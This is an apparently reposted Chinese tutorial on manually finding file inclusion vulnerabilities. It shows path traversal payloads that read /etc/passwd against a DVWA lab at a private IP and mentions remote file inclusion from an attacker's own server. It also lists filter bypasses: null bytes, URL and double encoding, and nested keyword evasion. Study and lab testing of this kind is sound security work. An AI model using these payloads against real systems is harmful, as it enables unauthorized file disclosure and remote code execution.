手动挖掘漏洞
Posted pyqb
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了手动挖掘漏洞相关的知识,希望对你有一定的参考价值。
文件包含漏洞
原因:文件权限限制不严,导致可以访问web目录以外的文件。
漏洞特征
?file=../../../../etc/passwd 根据相对路径加载文件
?file=/etc/passwd 根据绝对路径加载文件
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php 根据外部url,加载远程文件
http://1.1.1.1/../../../../dir/file.txt
针对DVWA的一个漏洞
http://192.168.133.132/dvwa/vulnerabilities/fi/?page=include.php
根据相对路径访问文件
http://192.168.133.132/dvwa/vulnerabilities/fi/?page=../../../../../../../../../../../../../etc/passwd
使用绝对路径访问文件
http://192.168.133.132/dvwa/vulnerabilities/fi/?page=/etc/passwd
根据外部url加载远程文件,这时我们可以开一个自己的服务器,然后让url指向自己的服务器。这样就可以执行我们本地的文件(嘿嘿,你懂得)
有时候加载文件时,比如
?file=/etc/passwd
可能会提示/etc/passwd.php文件找不到,这是因为网站开发者可能用了某些过滤机制在文件名后面自动补全为.php文件,我们只时想找passwd这个文件并不希望去找一个.php文件,这时我们需要绕过字符的过滤,php5.3以前,通过一些简单地修改就能绕过过滤:
加“.” : ?file=/etc/passwd.
加“%00” : ?file=/etc/passwd%00 ,%00表示null
将“http://”,改为“http%2e%2f%2f”
../url编码为%2e%2e%2f
..\\编码为%2e%2e%5c
../双层编码为%252e%252e%255c
有些开发者会对一些关键词进行过滤,比如检测到http://就把这段置为空,而且只检查一次,我们可以用嵌套的方式绕过过滤,htthttp://p://,如果把中间的http://置为空,外层的http://就会新合为一个http://,这样也能绕过验证。
以上是关于手动挖掘漏洞的主要内容,如果未能解决你的问题,请参考以下文章